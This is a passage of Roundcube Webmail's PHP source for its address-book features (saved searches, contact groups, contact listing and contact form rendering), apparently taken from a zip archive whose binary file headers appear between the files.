        $id     = rcube_utils::get_input_value('_search', rcube_utils::INPUT_POST);
        $name   = rcube_utils::get_input_value('_name', rcube_utils::INPUT_POST, true);

        if (
            !empty($_SESSION['contact_search_params'])
            && ($params = $_SESSION['contact_search_params'])
            && $params['id'] == $id
        ) {
            $data = [
                'type' => rcube_user::SEARCH_ADDRESSBOOK,
                'name' => $name,
                'data' => [
                    'fields' => $params['data'][0],
                    'search' => $params['data'][1],
                ],
            ];

            $plugin = $rcmail->plugins->exec_hook('saved_search_create', ['data' => $data]);

            if (empty($plugin['abort'])) {
                $result = $rcmail->user->insert_search($plugin['data']);
            }
            else {
                $result = $plugin['result'];
            }
        }

        if (!empty($result)) {
            $rcmail->output->show_message('savedsearchcreated', 'confirmation');
            $rcmail->output->command('insert_saved_search', rcube::Q($name), rcube::Q($result));
        }
        else {
            $error = !empty($plugin['message']) ? $plugin['message'] : 'savedsearchcreateerror';
            $rcmail->output->show_message($error, 'error');
        }

        $rcmail->output->send();
    }
}
PK
h�\���7
7
*program/actions/contacts/search_delete.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 | Copyright (C) Kolab Systems AG                                        |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Delete saved search                                                 |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 | Author: Aleksander Machniak <machniak@kolabsys.com>                   |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_search_delete extends rcmail_action
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();
        $id     = rcube_utils::get_input_string('_sid', rcube_utils::INPUT_POST);
        $result = false;

        if (!empty($id)) {
            $plugin = $rcmail->plugins->exec_hook('saved_search_delete', ['id' => $id]);

            if (empty($plugin['abort'])) {
                $result = $rcmail->user->delete_search($id);
            }
            else {
                $result = $plugin['result'];
            }
        }

        if ($result) {
            $rcmail->output->show_message('savedsearchdeleted', 'confirmation');
            $rcmail->output->command('remove_search_item', rcube::Q($id));
            // contact list will be cleared, clear also page counter
            $rcmail->output->command('set_rowcount', $rcmail->gettext('nocontactsfound'));
            $rcmail->output->set_env('pagecount', 0);
        }
        else {
            $error = !empty($plugin['message']) ? $plugin['message'] : 'savedsearchdeleteerror';
            $rcmail->output->show_message($error, 'error');
        }

        $rcmail->output->send();
    }
}
PK
h�\BZ�K<
<
-program/actions/contacts/group_addmembers.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Handle adding members to a contact group                            |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_group_addmembers extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail   = rcmail::get_instance();
        $source   = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        $contacts = self::contact_source($source);

        if ($contacts->readonly || !$contacts->groups) {
            $rcmail->output->show_message('sourceisreadonly', 'warning');
            $rcmail->output->send();
        }

        $gid    = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_POST);
        $ids    = self::get_cids($source);
        $result = false;

        if ($gid && $ids) {
            $plugin = $rcmail->plugins->exec_hook('group_addmembers', [
                    'group_id' => $gid,
                    'ids'      => $ids,
                    'source'   => $source,
            ]);

            $contacts->set_group($gid);
            $num2add = count($plugin['ids']);

            if (empty($plugin['abort'])) {
                if (
                    ($maxnum = $rcmail->config->get('max_group_members'))
                    && ($contacts->count()->count + $num2add > $maxnum)
                ) {
                    $rcmail->output->show_message('maxgroupmembersreached', 'warning', ['max' => $maxnum]);
                    $rcmail->output->send();
                }

                $result = $contacts->add_to_group($gid, $plugin['ids']);
            }
            else {
                $result = $plugin['result'];
            }
        }

        if ($result) {
            $rcmail->output->show_message('contactaddedtogroup', 'confirmation');
        }
        else if (!empty($plugin['abort']) || $contacts->get_error()) {
            $error = !empty($plugin['message']) ? $plugin['message'] : 'errorsaving';
            $rcmail->output->show_message($error, 'error');
        }
        else {
            $message = !empty($plugin['message']) ? $plugin['message'] : 'nogroupassignmentschanged';
            $rcmail->output->show_message($message);
        }

        // send response
        $rcmail->output->send();
    }
}
PK
h�\��
�
!program/actions/contacts/list.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Send contacts list to client (as remote response)                   |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_list extends rcmail_action_contacts_index
{
    // only process ajax requests
    protected static $mode = self::MODE_AJAX;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        if (!empty($_GET['_page'])) {
            $page = intval($_GET['_page']);
        }
        else {
            $page = !empty($_SESSION['page']) ? $_SESSION['page'] : 1;
        }

        $_SESSION['page'] = $page;

        $page_size  = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));
        $group_data = null;

        // Use search result
        if (($records = self::search_update(true)) !== false) {
            // sort the records
            ksort($records, SORT_LOCALE_STRING);

            // create resultset object
            $count  = count($records);
            $first  = ($page-1) * $page_size;
            $result = new rcube_result_set($count, $first);

            // we need only records for current page
            if ($page_size < $count) {
                $records = array_slice($records, $first, $page_size);
            }

            $result->records = array_values($records);
        }
        // List selected directory
        else {
            $afields  = $rcmail->config->get('contactlist_fields');
            $contacts = self::contact_source(null, true);

            // get contacts for this user
            $result = $contacts->list_records($afields);

            if (!$result->count && $result->searchonly) {
                $rcmail->output->show_message('contactsearchonly', 'notice');
                // Don't invoke advanced search dialog automatically from here (#6679)
            }

            if (!empty($contacts->group_id)) {
                $group_data = ['ID' => $contacts->group_id]
                    + array_intersect_key((array) $contacts->get_group($contacts->group_id), ['name' => 1,'email' => 1]);
            }
        }

        $rcmail->output->command('set_group_prop', $group_data);

        // update message count display
        $rcmail->output->set_env('pagecount', ceil($result->count / $page_size));
        $rcmail->output->command('set_rowcount', self::get_rowcount_text($result));

        // create javascript list
        self::js_contacts_list($result);

        // send response
        $rcmail->output->send();
    }
}
PK
h�\��������"program/actions/contacts/index.phpnu�[���<?php

/**
 +-----------------------------------------------------------------------+
 | This file is part of the Roundcube Webmail client                     |
 |                                                                       |
 | Copyright (C) The Roundcube Dev Team                                  |
 |                                                                       |
 | Licensed under the GNU General Public License version 3 or            |
 | any later version with exceptions for skins & plugins.                |
 | See the README file for a full license statement.                     |
 |                                                                       |
 | PURPOSE:                                                              |
 |   Provide addressbook functionality and GUI objects                   |
 +-----------------------------------------------------------------------+
 | Author: Thomas Bruederli <roundcube@gmail.com>                        |
 +-----------------------------------------------------------------------+
*/

class rcmail_action_contacts_index extends rcmail_action
{
    public static $aliases = [
        'add' => 'edit',
    ];

    protected static $SEARCH_MODS_DEFAULT = [
        'name'      => 1,
        'firstname' => 1,
        'surname'   => 1,
        'email'     => 1,
        '*'         => 1,
    ];

    /**
     * General definition of contact coltypes
     */
    public static $CONTACT_COLTYPES = [
        'name' => [
            'size'      => 40,
            'maxlength' => 50,
            'limit'     => 1,
            'label'     => 'name',
            'category'  => 'main'
        ],
        'firstname' => [
            'size'      => 19,
            'maxlength' => 50,
            'limit'     => 1,
            'label'     => 'firstname',
            'category'  => 'main'
        ],
        'surname' => [
            'size'      => 19,
            'maxlength' => 50,
            'limit'     => 1,
            'label'     => 'surname',
            'category'  => 'main'
        ],
        'email' => [
            'size'      => 40,
            'maxlength' => 254,
            'label'     => 'email',
            'subtypes'  => ['home', 'work', 'other'],
            'category'  => 'main'
        ],
        'middlename' => [
            'size'      => 19,
            'maxlength' => 50,
            'limit'     => 1,
            'label'     => 'middlename',
            'category'  => 'main'
        ],
        'prefix' => [
            'size'      => 8,
            'maxlength' => 20,
            'limit'     => 1,
            'label'     => 'nameprefix',
            'category'  => 'main'
        ],
        'suffix' => [
            'size'      => 8,
            'maxlength' => 20,
            'limit'     => 1,
            'label'     => 'namesuffix',
            'category'  => 'main'
        ],
        'nickname' => [
            'size'      => 40,
            'maxlength' => 50,
            'limit'     => 1,
            'label'     => 'nickname',
            'category'  => 'main'
        ],
        'jobtitle' => [
            'size'      => 40,
            'maxlength' => 128,
            'limit'     => 1,
            'label'     => 'jobtitle',
            'category'  => 'main'
        ],
        'organization' => [
            'size'      => 40,
            'maxlength' => 128,
            'limit'     => 1,
            'label'     => 'organization',
            'category'  => 'main'
        ],
        'department' => [
            'size'      => 40,
            'maxlength' => 128,
            'limit'     => 1,
            'label'     => 'department',
            'category'  => 'main'
        ],
        'gender' => [
            'type'     => 'select',
            'limit'    => 1,
            'label'    => 'gender',
            'category' => 'personal',
            'options'  => [
                'male'   => 'male',
                'female' => 'female'
            ],
        ],
        'maidenname' => [
            'size'      => 40,
            'maxlength' => 50,
            'limit'     => 1,
            'label'     => 'maidenname',
            'category'  => 'personal'
        ],
        'phone' => [
            'size'      => 40,
            'maxlength' => 20,
            'label'     => 'phone',
            'category'  => 'main',
            'subtypes'  => ['home', 'home2', 'work', 'work2', 'mobile', 'main', 'homefax', 'workfax', 'car',
                'pager', 'video', 'assistant', 'other'],
        ],
        'address' => [
            'type'     => 'composite',
            'label'    => 'address',
            'subtypes' => ['home', 'work', 'other'],
            'category' => 'main',
            'childs'   => [
                'street' => [
                    'label'     => 'street',
                    'size'      => 40,
                    'maxlength' => 50,
                ],
                'locality' => [
                    'label'     => 'locality',
                    'size'      => 28,
                    'maxlength' => 50,
                ],
                'zipcode' => [
                    'label'     => 'zipcode',
                    'size'      => 8,
                    'maxlength' => 15,
                ],
                'region' => [
                    'label'     => 'region',
                    'size'      => 12,
                    'maxlength' => 50,
                ],
                'country' => [
                    'label'     => 'country',
                    'size'      => 40,
                    'maxlength' => 50,
                ],
            ],
        ],
        'birthday' => [
            'type'      => 'date',
            'size'      => 12,
            'maxlength' => 16,
            'label'     => 'birthday',
            'limit'     => 1,
            'render_func' => 'rcmail_action_contacts_index::format_date_col',
            'category'    => 'personal'
        ],
        'anniversary' => [
            'type'      => 'date',
            'size'      => 12,
            'maxlength' => 16,
            'label'     => 'anniversary',
            'limit'     => 1,
            'render_func' => 'rcmail_action_contacts_index::format_date_col',
            'category'    => 'personal'
        ],
        'website' => [
            'size'      => 40,
            'maxlength' => 128,
            'label'     => 'website',
            'subtypes'  => ['homepage', 'work', 'blog', 'profile', 'other'],
            'category'  => 'main'
        ],
        'im' => [
            'size'      => 40,
            'maxlength' => 128,
            'label'     => 'instantmessenger',
            'subtypes'  => ['aim', 'icq', 'msn', 'yahoo', 'jabber', 'skype', 'other'],
            'category'  => 'main'
        ],
        'notes' => [
            'type'      => 'textarea',
            'size'      => 40,
            'rows'      => 15,
            'maxlength' => 500,
            'label'     => 'notes',
            'limit'     => 1
        ],
        'photo' => [
            'type'     => 'image',
            'limit'    => 1,
            'category' => 'main'
        ],
        'assistant' => [
            'size'      => 40,
            'maxlength' => 128,
            'limit'     => 1,
            'label'     => 'assistant',
            'category'  => 'personal'
        ],
        'manager' => [
            'size'      => 40,
            'maxlength' => 128,
            'limit'     => 1,
            'label'     => 'manager',
            'category'  => 'personal'
        ],
        'spouse' => [
            'size'      => 40,
            'maxlength' => 128,
            'limit'     => 1,
            'label'     => 'spouse',
            'category'  => 'personal'
        ],
    ];

    protected static $CONTACTS;
    protected static $SOURCE_ID;
    protected static $contact;

    /**
     * Request handler.
     *
     * @param array $args Arguments from the previous step(s)
     */
    public function run($args = [])
    {
        $rcmail = rcmail::get_instance();

        // Prepare coltypes
        foreach (self::$CONTACT_COLTYPES as $idx => $val) {
            if (!empty($val['label'])) {
                self::$CONTACT_COLTYPES[$idx]['label'] = $rcmail->gettext($val['label']);
            }
            if (!empty($val['options'])) {
                foreach ($val['options'] as $i => $v) {
                    self::$CONTACT_COLTYPES[$idx]['options'][$i] = $rcmail->gettext($v);
                }
            }
            if (!empty($val['childs'])) {
                foreach ($val['childs'] as $i => $v) {
                    self::$CONTACT_COLTYPES[$idx]['childs'][$i]['label'] = $rcmail->gettext($v['label']);
                    if (empty($v['type'])) {
                        self::$CONTACT_COLTYPES[$idx]['childs'][$i]['type'] = 'text';
                    }
                }
            }
            if (empty($val['type'])) {
                self::$CONTACT_COLTYPES[$idx]['type'] = 'text';
            }
        }

        // Addressbook UI
        if (!$rcmail->action && !$rcmail->output->ajax_call) {
            // add list of address sources to client env
            $js_list = $rcmail->get_address_sources();

            // count all/writeable sources
            $writeable = 0;
            $count     = 0;

            foreach ($js_list as $sid => $s) {
                $count++;
                if (!$s['readonly']) {
                    $writeable++;
                }
                // unset hidden sources
                if (!empty($s['hidden'])) {
                    unset($js_list[$sid]);
                }
            }

            $rcmail->output->set_env('display_next', (bool) $rcmail->config->get('display_next'));
            $rcmail->output->set_env('search_mods', $rcmail->config->get('addressbook_search_mods', self::$SEARCH_MODS_DEFAULT));
            $rcmail->output->set_env('address_sources', $js_list);
            $rcmail->output->set_env('writable_source', $writeable);
            $rcmail->output->set_env('contact_move_enabled', $writeable > 1);
            $rcmail->output->set_env('contact_copy_enabled', $writeable > 1 || ($writeable == 1 && count($js_list) > 1));

            $rcmail->output->set_pagetitle($rcmail->gettext('contacts'));

            $_SESSION['addressbooks_count']           = $count;
            $_SESSION['addressbooks_count_writeable'] = $writeable;

            // select address book
            $source = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);

            // use first directory by default
            if (!strlen($source) || !isset($js_list[$source])) {
                $source = $rcmail->config->get('default_addressbook');
                if (!is_string($source) || !strlen($source) || !isset($js_list[$source])) {
                    $source = strval(key($js_list));
                }
            }

            self::$CONTACTS = self::contact_source($source, true);
        }

        // remove undo information...
        if (!empty($_SESSION['contact_undo'])) {
            // ...after timeout
            $undo      = $_SESSION['contact_undo'];
            $undo_time = $rcmail->config->get('undo_timeout', 0);
            if ($undo['ts'] < time() - $undo_time) {
                $rcmail->session->remove('contact_undo');
            }
        }

        // register UI objects
        $rcmail->output->add_handlers([
                'directorylist'       => [$this, 'directory_list'],
                'savedsearchlist'     => [$this, 'savedsearch_list'],
                'addresslist'         => [$this, 'contacts_list'],
                'addresslisttitle'    => [$this, 'contacts_list_title'],
                'recordscountdisplay' => [$this, 'rowcount_display'],
                'searchform'          => [$rcmail->output, 'search_form']
        ]);

        // Disable qr-code if imagick, iconv or BaconQrCode is not installed
        if (!$rcmail->output->ajax_call && rcmail_action_contacts_qrcode::check_support()) {
            $rcmail->output->set_env('qrcode', true);
            $rcmail->output->add_label('qrcode');
        }
    }

    // instantiate a contacts object according to the given source
    public static function contact_source($source = null, $init_env = false, $writable = false)
    {
        if ($source === null || !strlen((string) $source)) {
            $source = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);
        }

        $rcmail    = rcmail::get_instance();
        $page_size = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));

        // Get object
        $contacts = $rcmail->get_address_book($source, $writable);

        if (!$contacts) {
            return null;
        }

        $contacts->set_pagesize($page_size);

        // set list properties and session vars
        if (!empty($_GET['_page'])) {
            $contacts->set_page(($_SESSION['page'] = intval($_GET['_page'])));
        }
        else {
            $contacts->set_page($_SESSION['page'] ?? 1);
        }

        if ($group = rcube_utils::get_input_string('_gid', rcube_utils::INPUT_GP)) {
            $contacts->set_group($group);
        }

        if (!$init_env) {
            return $contacts;
        }

        $rcmail->output->set_env('readonly', $contacts->readonly);
        $rcmail->output->set_env('source', (string) $source);
        $rcmail->output->set_env('group', $group);

        // reduce/extend $CONTACT_COLTYPES with specification from the current $CONTACT object
        if (is_array($contacts->coltypes)) {
            // remove cols not listed by the backend class
            $contact_cols = isset($contacts->coltypes[0]) ? array_flip($contacts->coltypes) : $contacts->coltypes;
            self::$CONTACT_COLTYPES = array_intersect_key(self::$CONTACT_COLTYPES, $contact_cols);

            // add associative coltypes definition
            if (empty($contacts->coltypes[0])) {
                foreach ($contacts->coltypes as $col => $colprop) {
                    if (!empty($colprop['childs'])) {
                        foreach ($colprop['childs'] as $childcol => $childprop) {
                            $colprop['childs'][$childcol] = array_merge((array) self::$CONTACT_COLTYPES[$col]['childs'][$childcol], $childprop);
                        }
                    }

                    if (isset(self::$CONTACT_COLTYPES[$col])) {
                        self::$CONTACT_COLTYPES[$col] = array_merge(self::$CONTACT_COLTYPES[$col], $colprop);
                    }
                    else {
                        self::$CONTACT_COLTYPES[$col] = $colprop;
                    }
                }
            }
        }

        $rcmail->output->set_env('photocol', !empty(self::$CONTACT_COLTYPES['photo']));

        return $contacts;
    }

    public static function set_sourcename($abook)
    {
        $rcmail = rcmail::get_instance();

        // get address book name (for display)
        if ($abook && !empty($_SESSION['addressbooks_count']) && $_SESSION['addressbooks_count'] > 1) {
            $name = $abook->get_name();
            if (!$name) {
                $name = $rcmail->gettext('personaladrbook');
            }

            $rcmail->output->set_env('sourcename', html_entity_decode($name, ENT_COMPAT, 'UTF-8'));
        }
    }

    public static function directory_list($attrib)
    {

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmdirectorylist';
        }

        $rcmail = rcmail::get_instance();
        $out    = '';
        $jsdata = [];

        $line_templ = html::tag('li',
            ['id' => 'rcmli%s', 'class' => '%s', 'noclose' => true],
            html::a(
                [
                    'href'    => '%s',
                    'rel'     => '%s',
                    'onclick' => "return ".rcmail_output::JS_OBJECT_NAME.".command('list','%s',this)"
                ],
                '%s'
            )
        );

        $sources = (array) $rcmail->output->get_env('address_sources');
        reset($sources);

        // currently selected source
        $current = rcube_utils::get_input_string('_source', rcube_utils::INPUT_GPC);

        foreach ($sources as $j => $source) {
            $id = strval(strlen($source['id']) ? $source['id'] : $j);
            $js_id = rcube::JQ($id);

            // set class name(s)
            $class_name = 'addressbook';
            if ($current === $id) {
                $class_name .= ' selected';
            }
            if (!empty($source['readonly'])) {
                $class_name .= ' readonly';
            }
            if (!empty($source['class_name'])) {
                $class_name .= ' ' . $source['class_name'];
            }

            $name = $source['name'] ?: $id;
            $out .= sprintf($line_templ,
                rcube_utils::html_identifier($id, true),
                $class_name,
                rcube::Q($rcmail->url(['_source' => $id])),
                $source['id'],
                $js_id,
                $name
            );

            $groupdata = ['out' => $out, 'jsdata' => $jsdata, 'source' => $id];
            if (!empty($source['groups'])) {
                $groupdata = self::contact_groups($groupdata);
            }
            $jsdata = $groupdata['jsdata'];
            $out = $groupdata['out'];
            $out .= '</li>';
        }

        $rcmail->output->set_env('contactgroups', $jsdata);
        $rcmail->output->set_env('collapsed_abooks', (string) $rcmail->config->get('collapsed_abooks',''));
        $rcmail->output->add_gui_object('folderlist', $attrib['id']);
        $rcmail->output->include_script('treelist.js');

        // add some labels to client
        $rcmail->output->add_label('deletegroupconfirm', 'groupdeleting', 'addingmember', 'removingmember',
            'newgroup', 'grouprename', 'searchsave', 'namex', 'save', 'import', 'importcontacts',
            'advsearch', 'search'
        );

        return html::tag('ul', $attrib, $out, html::$common_attrib);
    }

    public static function savedsearch_list($attrib)
    {
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmsavedsearchlist';
        }

        $rcmail = rcmail::get_instance();
        $out    = '';
        $line_templ = html::tag('li',
            ['id' => 'rcmli%s', 'class' => '%s'],
            html::a([
                    'href'    => '#',
                    'rel'     => 'S%s',
                    'onclick' => "return ".rcmail_output::JS_OBJECT_NAME.".command('listsearch', '%s', this)"
                ],
                '%s'
            )
        );

        // Saved searches
        $sources = $rcmail->user->list_searches(rcube_user::SEARCH_ADDRESSBOOK);
        foreach ($sources as $source) {
            $id    = $source['id'];
            $js_id = rcube::JQ($id);

            // set class name(s)
            $classes = ['contactsearch'];
            if (!empty($source['class_name'])) {
                $classes[] = $source['class_name'];
            }

            $out .= sprintf($line_templ,
                rcube_utils::html_identifier('S' . $id, true),
                join(' ', $classes),
                $id,
                $js_id,
                rcube::Q($source['name'] ?: $id)
            );
        }

        $rcmail->output->add_gui_object('savedsearchlist', $attrib['id']);

        return html::tag('ul', $attrib, $out, html::$common_attrib);
    }

    public static function contact_groups($args)
    {
        $rcmail = rcmail::get_instance();
        $groups = $rcmail->get_address_book($args['source'])->list_groups();
        $groups_html = '';

        if (!empty($groups)) {
            $line_templ = html::tag('li',
                ['id' => 'rcmli%s', 'class' => 'contactgroup'],
                html::a([
                        'href' => '#',
                        'rel' => '%s:%s',
                        'onclick' => "return ".rcmail_output::JS_OBJECT_NAME.".command('listgroup',{'source':'%s','id':'%s'},this)"
                    ],
                    '%s'
                )
            );

            // append collapse/expand toggle and open a new <ul>
            $is_collapsed = strpos($rcmail->config->get('collapsed_abooks',''), '&'.rawurlencode($args['source']).'&') !== false;
            $args['out'] .= html::div('treetoggle ' . ($is_collapsed ? 'collapsed' : 'expanded'), '&nbsp;');

            foreach ($groups as $group) {
                $groups_html .= sprintf($line_templ,
                    rcube_utils::html_identifier('G' . $args['source'] . $group['ID'], true),
                    $args['source'],
                    $group['ID'],
                    $args['source'],
                    $group['ID'],
                    rcube::Q($group['name'])
                );

                $args['jsdata']['G' . $args['source'] . $group['ID']] = [
                    'source' => $args['source'],
                    'id'     => $group['ID'],
                    'name'   => $group['name'],
                    'type'   => 'group'
                ];
            }
        }

        $style = !empty($is_collapsed) || empty($groups) ? 'display:none;' : null;

        $args['out'] .= html::tag('ul', ['class' => 'groups', 'style' => $style], $groups_html);

        return $args;
    }

    // return the contacts list as HTML table
    public static function contacts_list($attrib)
    {
        $rcmail = rcmail::get_instance();

        // define list of cols to be displayed
        $a_show_cols = ['name', 'action'];

        // add id to message list table if not specified
        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmAddressList';
        }

        // create XHTML table
        $out = self::table_output($attrib, [], $a_show_cols, self::$CONTACTS->primary_key);

        // set client env
        $rcmail->output->add_gui_object('contactslist', $attrib['id']);
        $rcmail->output->set_env('current_page', (int) self::$CONTACTS->list_page);
        $rcmail->output->include_script('list.js');

        // add some labels to client
        $rcmail->output->add_label('deletecontactconfirm', 'copyingcontact', 'movingcontact', 'contactdeleting');

        return $out;
    }

    public static function js_contacts_list($result, $prefix = '')
    {
        if (empty($result) || $result->count == 0) {
            return;
        }

        $rcmail = rcmail::get_instance();

        // define list of cols to be displayed
        $a_show_cols = ['name', 'action'];

        while ($row = $result->next()) {
            $emails       = rcube_addressbook::get_col_values('email', $row, true);
            $row['CID']   = $row['ID'];
            $row['email'] = reset($emails);
            $source_id  = $rcmail->output->get_env('source');
            $a_row_cols = [];
            $type       = !empty($row['_type']) ? $row['_type'] : 'person';
            $classes    = [$type];

            // build contact ID with source ID
            if (isset($row['sourceid'])) {
                $row['ID'] = $row['ID'].'-'.$row['sourceid'];
                $source_id = $row['sourceid'];
            }

            // format each col
            foreach ($a_show_cols as $col) {
                $val = null;
                switch ($col) {
                    case 'name':
                        $val = rcube::Q(rcube_addressbook::compose_list_name($row));
                        break;

                    case 'action':
                        if ($type == 'group') {
                            $val = html::a([
                                    'href'    => '#list',
                                    'rel'     => $row['ID'],
                                    'title'   => $rcmail->gettext('listgroup'),
                                    'onclick' => sprintf(
                                        "return %s.command('pushgroup',{'source':'%s','id':'%s'},this,event)",
                                        rcmail_output::JS_OBJECT_NAME,
                                        $source_id,
                                        $row['CID']
                                    ),
                                    'class'   => 'pushgroup',
                                    'data-action-link' => true,
                                ],
                                '&raquo;'
                            );
                        }
                        else {
                            $val = null;
                        }
                        break;

                    default:
                        $val = rcube::Q($row[$col]);
                        break;
                }

                if ($val !== null) {
                    $a_row_cols[$col] = $val;
                }
            }

            if (!empty($row['readonly'])) {
                $classes[] = 'readonly';
            }

            $rcmail->output->command($prefix . 'add_contact_row', $row['ID'], $a_row_cols, join(' ', $classes),
                array_intersect_key($row, ['ID' => 1,'readonly' => 1, '_type' => 1, 'email' => 1,'name' => 1])
            );
        }
    }

    public static function contacts_list_title($attrib)
    {
        $rcmail = rcmail::get_instance();
        $attrib += ['label' => 'contacts', 'id' => 'rcmabooklisttitle', 'tag' => 'span'];
        unset($attrib['name']);

        $rcmail->output->add_gui_object('addresslist_title', $attrib['id']);
        $rcmail->output->add_label('contacts','uponelevel');

        return html::tag($attrib['tag'], $attrib, $rcmail->gettext($attrib['label']), html::$common_attrib);
    }

    public static function rowcount_display($attrib)
    {
        $rcmail = rcmail::get_instance();

        if (empty($attrib['id'])) {
            $attrib['id'] = 'rcmcountdisplay';
        }

        $rcmail->output->add_gui_object('countdisplay', $attrib['id']);

        if (!empty($attrib['label'])) {
            $_SESSION['contactcountdisplay'] = $attrib['label'];
        }

        return html::span($attrib, $rcmail->gettext('loading'));
    }

    public static function get_rowcount_text($result = null)
    {
        $rcmail = rcmail::get_instance();

        // read nr of contacts
        if (empty($result) && !empty(self::$CONTACTS)) {
            $result = self::$CONTACTS->get_result();
        }

        if (empty($result) || $result->count == 0) {
            return $rcmail->gettext('nocontactsfound');
        }

        $page_size = $rcmail->config->get('addressbook_pagesize', $rcmail->config->get('pagesize', 50));

        return $rcmail->gettext([
                'name'  => !empty($_SESSION['contactcountdisplay']) ? $_SESSION['contactcountdisplay'] : 'contactsfromto',
                'vars'  => [
                    'from'  => $result->first + 1,
                    'to'    => min($result->count, $result->first + $page_size),
                    'count' => $result->count
                ]
        ]);
    }

    public static function get_type_label($type)
    {
        $rcmail = rcmail::get_instance();
        $label  = 'type' . $type;

        if ($rcmail->text_exists($label, '*', $domain)) {
            return $rcmail->gettext($label, $domain);
        }

        if (
            preg_match('/\w+(\d+)$/', $label, $m)
            && ($label = preg_replace('/(\d+)$/', '', $label))
            && $rcmail->text_exists($label, '*', $domain)
        ) {
            return $rcmail->gettext($label, $domain) . ' ' . $m[1];
        }

        return ucfirst($type);
    }

    public static function contact_form($form, $record, $attrib = null)
    {
        $rcmail = rcmail::get_instance();

        // group fields
        $head_fields = [
            'source'       => ['source'],
            'names'        => ['prefix','firstname','middlename','surname','suffix'],
            'displayname'  => ['name'],
            'nickname'     => ['nickname'],
            'organization' => ['organization'],
            'department'   => ['department'],
            'jobtitle'     => ['jobtitle'],
        ];

        // Allow plugins to modify contact form content
        $plugin = $rcmail->plugins->exec_hook('contact_form', [
                'form'        => $form,
                'record'      => $record,
                'head_fields' => $head_fields
        ]);

        $form        = $plugin['form'];
        $record      = $plugin['record'];
        $head_fields = $plugin['head_fields'];
        $edit_mode   = $rcmail->action != 'show' && $rcmail->action != 'print';
        $compact     = self::get_bool_attr($attrib, 'compact-form');
        $use_labels  = self::get_bool_attr($attrib, 'use-labels');
        $with_source = self::get_bool_attr($attrib, 'with-source');
        $out         = '';

        if (!empty($attrib['deleteicon'])) {
            $del_button = html::img([
                    'src' => $rcmail->output->get_skin_file($attrib['deleteicon']),
                    'alt' => $rcmail->gettext('delete')
            ]);
        }
        else {
            $del_button = html::span('inner', $rcmail->gettext('delete'));
        }

        unset($attrib['deleteicon']);

        // get default coltypes
        $coltypes       = self::$CONTACT_COLTYPES;
        $coltype_labels = [];
        $business_mode  = $rcmail->config->get('contact_form_mode') === 'business';

        foreach ($coltypes as $col => $prop) {
            if (!empty($prop['subtypes'])) {
                // re-order subtypes, so 'work' is before 'home'
                if ($business_mode) {
                    $work_opts = array_filter($prop['subtypes'], function($var) { return strpos($var, 'work') !== false; });
                    if (!empty($work_opts)) {
                        $coltypes[$col]['subtypes'] = $prop['subtypes'] = array_merge(
                            $work_opts,
                            array_diff($prop['subtypes'], $work_opts)
                        );
                    }
                }

                $subtype_names  = array_map('rcmail_action_contacts_index::get_type_label', $prop['subtypes']);
                $select_subtype = new html_select([
                        'name'  => "_subtype_{$col}[]",
                        'class' => 'contactselectsubtype custom-select',
                        'title' => $prop['label'] . ' ' . $rcmail->gettext('type')
                ]);
                $select_subtype->add($subtype_names, $prop['subtypes']);

                $coltypes[$col]['subtypes_select'] = $select_subtype->show();
            }

            if (!empty($prop['childs'])) {
                foreach ($prop['childs'] as $childcol => $cp) {
                    $coltype_labels[$childcol] = ['label' => $cp['label']];
                }
            }
        }

        foreach ($form as $section => $fieldset) {
            // skip empty sections
            if (empty($fieldset['content'])) {
                continue;
            }

            $select_add = new html_select([
                    'class'        => 'addfieldmenu custom-select',
                    'rel'          => $section,
                    'data-compact' => $compact ? "true" : null
            ]);

            $select_add->add($rcmail->gettext('addfield'), '');
            $select_add_count = 0;

            // render head section with name fields (not a regular list of rows)
            if ($section == 'head') {
                $content = '';

                // unset display name if it is composed from name parts
                $dname = rcube_addressbook::compose_display_name(['name' => ''] + (array) $record);
                if (isset($record['name']) && $record['name'] == $dname) {
                    unset($record['name']);
                }

                foreach ($head_fields as $blockname => $colnames) {
                    $fields     = '';
                    $block_attr = ['class' => $blockname  . (count($colnames) == 1 ? ' row' : '')];

                    foreach ($colnames as $col) {
                        if ($col == 'source') {
